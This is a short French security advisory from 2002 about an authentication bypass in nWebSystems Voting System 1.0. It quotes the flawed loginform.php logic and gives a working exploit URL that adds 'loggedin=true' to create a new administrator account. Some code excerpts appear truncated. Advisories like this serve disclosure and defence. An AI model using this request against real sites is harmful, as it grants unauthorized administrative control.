Faille dans nWebSystems Voting System ************************************* Produit : ********* nWebSystems Voting System http://www.nwebsystems.com/ Versions : ********* 1.0 et moins. Date : ****** 11/02/02 Probleme : ********** - Accès à la partie administration. Developpement : *************** nWebSystems VS est une application, comme le dit son nom, concue pour la création et la modification des sondages. La faille va nous permettre d'effectuer toutes les opérations reservées aux admins, comme par exemple rajouter un admin. J'ai localisé la vulnérabilité dans les fichiers loginform.php, qui permet de se logger, et index.php, qui renvois vers les fichiers qui conviennent selon l'action à effectuer. Voici la partie de loginform.php qui nous interesse : ----------------------------------------------------------------------------------- elseif ($uname == $u_name) { if ($pword == $u_pass) { session_register( "sess_id" ); session_register( "sess_user" ); session_register( "sess_level" ); session_register( "loggedin" ); $sess_id = $u_id; $sess_user = $u_name; $sess_level = $u_level; $loggedin = true; if ($loggedin == 'true') { ?>
----------------------------------------------------------------------------------- adduser.php : ----------------------------------------------------------------------------------- ----------------------------------------------------------------------------------- Il y a une condition a respecter, celle que contient adduser.php, qui est que new_pw doit être égal à new_pw1. On va se choisir un User Level admin, donc new_level=1. L'url pour un admin loggé sera donc : http://www.host.com/index.php?action=auser&new_un=test&new_pw=test&new_pw1=test&new_level=1&submit=Save C'est le moment de rajouter notre petite variable loggedin avec la valeur true, pour donner : /index.php?loggedin=true&action=auser&new_un=test&new_pw=test&new_pw1=test&new_level=1&submit=Save Ce qui nous affichera : "User account created successfully with the following details: Username : test Password : test" Il ne nous reste plus qu'à nous logger normalement. N Web Systems a été prévenu. Patch : ******* / Greetz : ******** / Credits : ********* frog-m@n (leseulfrog@hotmail.com)